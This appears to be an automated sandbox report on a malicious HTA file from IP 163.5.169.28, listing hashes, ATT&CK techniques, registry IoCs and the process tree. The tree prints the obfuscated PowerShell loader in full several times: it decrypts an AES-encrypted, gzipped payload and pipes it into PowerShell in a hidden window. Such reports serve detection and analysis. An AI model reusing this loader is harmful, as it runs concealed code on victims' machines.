3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
10-01-2024 21:28

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General

Target

163.5.169.28/SCAN-atoletter5.hta
Size

1.1MB
MD5

415d6911c9a6e92b5d3f050668592357
SHA1

3f5ddfb1475a25201e443c61e31382100e8ddbae
SHA256

87b6bcaa19c9631310bb28100e1ed2c9f2b982fa5aaef48186da150d8d1c4ac3
SHA512

6b322e26c4724efa648713c665d6eddc4f2191d9f3a7764076ae8fc8d5f13fd2301238e7aade65b49db71b0ecadd9333af42cfa7e98ae54b554a99eafc45a055
SSDEEP

1536:zA8mj3XPCeaTTQT7L/1rTrZwsvCPA68WStimr/l1vcmafSIm+lIWFiWCK4vLwwlY:zA8mrfFITQTH/1rTrZ/CPArtQ

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
2620	powershell.exe
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 2684	1964	mshta.exe	28
PID 1964 wrote to memory of 2684	1964	mshta.exe	28
PID 1964 wrote to memory of 2684	1964	mshta.exe	28
PID 1964 wrote to memory of 2684	1964	mshta.exe	28
PID 2684 wrote to memory of 1988	2684	powershell.exe	31
PID 2684 wrote to memory of 1988	2684	powershell.exe	31
PID 2684 wrote to memory of 1988	2684	powershell.exe	31
PID 2684 wrote to memory of 1988	2684	powershell.exe	31
PID 1988 wrote to memory of 2520	1988	cmd.exe	33
PID 1988 wrote to memory of 2520	1988	cmd.exe	33
PID 1988 wrote to memory of 2520	1988	cmd.exe	33
PID 1988 wrote to memory of 2520	1988	cmd.exe	33
PID 1988 wrote to memory of 2620	1988	cmd.exe	32
PID 1988 wrote to memory of 2620	1988	cmd.exe	32
PID 1988 wrote to memory of 2620	1988	cmd.exe	32
PID 1988 wrote to memory of 2620	1988	cmd.exe	32

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter5.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2620
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
0ada2bbab3b13001eb7162a20fdb9c56

SHA1
3b9df7378db24b32f00af60119ad36bbfc96d687

SHA256
97ae2bee0c424cdd68f6ff29b855b5e443e82700ea72b0f58fca32ce772ab9e9

SHA512
8ead85bdc345b182b9929d9b2302a8f7b183b26d6d493bbe794f4666714cb3875ffaa655cf07718b518ce7a3b41bdecdfad40851ac588a039aef29d326a9b020

Download Submit
memory/2520-30-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2520-38-0x0000000072170000-0x000000007271B000-memory.dmp

Filesize
5.7MB

Download
memory/2520-20-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2520-21-0x0000000072170000-0x000000007271B000-memory.dmp

Filesize
5.7MB

Download
memory/2520-19-0x0000000072170000-0x000000007271B000-memory.dmp

Filesize
5.7MB

Download
memory/2520-22-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2620-28-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2620-39-0x0000000072170000-0x000000007271B000-memory.dmp

Filesize
5.7MB

Download
memory/2620-33-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2620-35-0x0000000072170000-0x000000007271B000-memory.dmp

Filesize
5.7MB

Download
memory/2620-23-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2620-25-0x0000000072170000-0x000000007271B000-memory.dmp

Filesize
5.7MB

Download
memory/2684-3-0x0000000072720000-0x0000000072CCB000-memory.dmp

Filesize
5.7MB

Download
memory/2684-2-0x0000000072720000-0x0000000072CCB000-memory.dmp

Filesize
5.7MB

Download
memory/2684-5-0x00000000027D0000-0x0000000002810000-memory.dmp

Filesize
256KB

Download
memory/2684-4-0x00000000027D0000-0x0000000002810000-memory.dmp

Filesize
256KB

Download
memory/2684-7-0x0000000072720000-0x0000000072CCB000-memory.dmp

Filesize
5.7MB

Download
memory/2684-6-0x00000000027D0000-0x0000000002810000-memory.dmp

Filesize
256KB

Download